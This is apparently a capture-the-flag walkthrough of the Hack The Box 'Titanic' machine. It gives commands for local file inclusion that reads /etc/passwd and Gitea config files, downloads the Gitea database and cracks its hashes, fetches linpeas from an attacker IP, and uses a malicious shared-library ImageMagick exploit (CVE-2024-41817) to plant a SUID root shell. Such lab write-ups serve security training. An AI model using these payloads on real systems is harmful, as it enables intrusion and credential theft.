sudo vim /etc/hosts
# map target IP to titanic.htb
nmap -T4 -p- -A -Pn -v titanic.htb-
open ports & services:
- 22/tcp - OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
- 80/tcp - Apache httpd 2.4.52
-
the webpage on port 80 is for booking tickets to Titanic - and the only functionality working on the page is for the 'Book Now' option, which gives an input form
-
web enumeration:
gobuster dir -u http://titanic.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html -t 25 # simple directory scan ffuf -c -u "http://titanic.htb" -H "Host: FUZZ.titanic.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 25 # subdomain scan - find filter size ffuf -c -u "http://titanic.htb" -H "Host: FUZZ.titanic.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 25 -fw 20 -s # subdomain scan
-
interesting pages:
- /download - this mentions the 'ticket' parameter is required
- /book - endpoint for booking tickets, we need to use POST requests
-
using Burp Suite, intercept the POST request for the ticket booking form, fill in some values, and send to Repeater
-
after we fill the form, we do a GET request to the /download endpoint, which downloads the ticket in JSON format - the name seems to be randomly generated
-
we can save the POST request to a file and attempt to test for SQLi:
sqlmap -r titanic.req --batch --dump
-
sqlmapis unable to detect any injection points; we can simultaneously check for injection on the /download endpoint -
if we use a valid ticket number in the 'ticket' parameter in a GET request to this endpoint, we get a JSON response with the details
-
attempting LFI here, if we feed in the path
/etc/passwdinstead of a ticket ID, it still works and fetches the file (if this would not have worked, next time would be to try LFI fuzzing):curl 'http://titanic.htb/download?ticket=/etc/passwd' -
output of
/etc/passwdshows a user 'developer' is present on box; we can first try to see if there are any SSH keys for this user:curl 'http://titanic.htb/download?ticket=/home/developer/.ssh/id_rsa' curl 'http://titanic.htb/download?ticket=/home/developer/.ssh/authorized_keys' # this does not work
-
to get a foothold from LFI to RCE, we can attempt log poisoning - we need to find out server log/config paths first:
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://titanic.htb/download?ticket=FUZZ' -fs 0 -fc 500 # filtered empty responses and 500 server error pages as it was showing many of them # this gives multiple hits ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt:FUZZ -u 'http://titanic.htb/download?ticket=FUZZ' -fs 0 -fc 500
-
the fuzzing shows that Apache is being used and the server config path is
/etc/apache2/apache2.conf:curl 'http://titanic.htb/download?ticket=/etc/apache2/apache2.conf' curl 'http://titanic.htb/download?ticket=/etc/apache2/envvars' curl 'http://titanic.htb/download?ticket=/var/log/apache2/error.log' # this does not work, even though the config says log file should be at this location
-
meanwhile, the subdomain scan for the webpage gives us a subdomain 'dev.titanic.htb' - update the hosts entry:
sudo vim /etc/hosts # add dev.titanic.htb -
this subdomain is running a Gitea instance, version 1.22.1, and it includes a 'Register' option so we can try creating a test account and signing in
-
once signed in, checking the 'Explore' tab, we have two repositories for the 'developer' user - the same user found from
/etc/passwdearlier - and we can check both these repos for any secrets -
the first repo is 'flask-app', and it is the webpage source code; no clues found in code or commit history
-
the second repo is 'docker-config', and this includes Docker Compose YAML files for two instances - Gitea and MySQL
-
from this repo, we get the MySQL user 'sql_svc' and password 'MySQLP@$$w0rd!'; and the path
/home/developer/gitea/datais also disclosed, which could have Gitea config files -
Googling for Gitea config files location gives us a few possible path variations like
/etc/gitea/conf/app.iniand/data/gitea/conf/app.ini -
combining the two paths (the Gitea path and the config file path), we can check these possible paths for the
app.inifile:curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/app.ini' # not found curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/conf/app.ini' # not found curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini' # this works
-
the
app.inifile shows that the Gitea instance is running on a sqlite DB, and also provides the DB path as/data/gitea/gitea.db- we can attempt to fetch the file:curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' --output gitea.db # open the DB sqlitebrowser gitea.db
-
in this DB, checking the table data, the 'user' table gives password hashes for users 'administrator' and 'developer', and also includes salts for these hashes; and also mentions the password hash algo as 'pbkdf2$50000$50' - which is also mentioned in Gitea docs (pbkdf2_v2 hash algo)
-
this logic is discussed in this blog; essentially, Gitea uses PBKDF2-HMAC-SHA256 (for pbkdf2_v2),
hashcatmode 10900, and is expected in a specific format (base64-encoded) -
using the gitea2hashcat.py tool, we can convert these hashes for both 'administrator' & 'developer' users:
python3 gitea2hashcat.py cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136:2d149e5fbd1b20cf31db3e3c6a28fc9b # for 'administrator' python3 gitea2hashcat.py e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56:8bf3e3452b78544f8bee9400d6936d34 # for 'developer' vim giteahashes # paste both generated hashes hashcat -m 10900 giteahashes /usr/share/wordlists/rockyou.txt --force
-
hashcatis able to crack 'developer' hash and gives cleartext password '25282528' - so we can try to login using this:ssh developer@titanic.htb # this works cat user.txt # user flag sudo -l # not working # we can do basic enum using linpeas # fetch linpeas from attacker wget http://10.10.14.21:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
-
findings from
linpeas:- box running Linux version 5.15.0-131-generic, Ubuntu 22.04.5
- env PATH includes writable path
/home/developer/.local/bin /opt/includes some scripts and app files/opt/app/static/assets/images/metadata.logis updated recently
-
checking under
/opt, there is an interesting script at/opt/scripts/identify_images.sh, and it is referencing another file which seems to be updated regularly -
pspydoes not show any cronjob running so we have to verify manually:ls -la /opt/app/static/assets/images/ # this shows the file 'metadata.log' is being updated every minute ls -la /opt/scripts # we do not have write permissions to this script cat /opt/scripts/identify_images.sh # this is the script updating 'metadata.log'
cd /opt/app/static/assets/images truncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
-
this is what the 'identify_images.sh' script does:
- move to the images directory
- empty the 'metadata.log' file by setting its size to 0
- searches directory recursively for JPG files
- passes the list of JPG files to ImageMagick
identifytool identifyextracts the image metadata and appends the output to 'metadata.log'
-
Googling for privesc exploits associated with ImageMagick tool leads to an arbitrary code executation vuln CVE-2024-41817 - we can follow the given PoC to exploit this:
magick --version # confirm ImageMagick version is affected # move to target directory cd /opt/app/static/assets/images # create the shared library # in this case, we can make a copy of bash and set SUID bit gcc -x c -shared -fPIC -o ./libxcb.so.1 - <<EOF #include <stdio.h> #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash"); exit(0); } EOF # after a minute or two of cronjob running imagemagick, check if the binary is ready ls -la /tmp/bash # it is having SUID bit set /tmp/bash -p # root shell cat /root/root.txt # root flag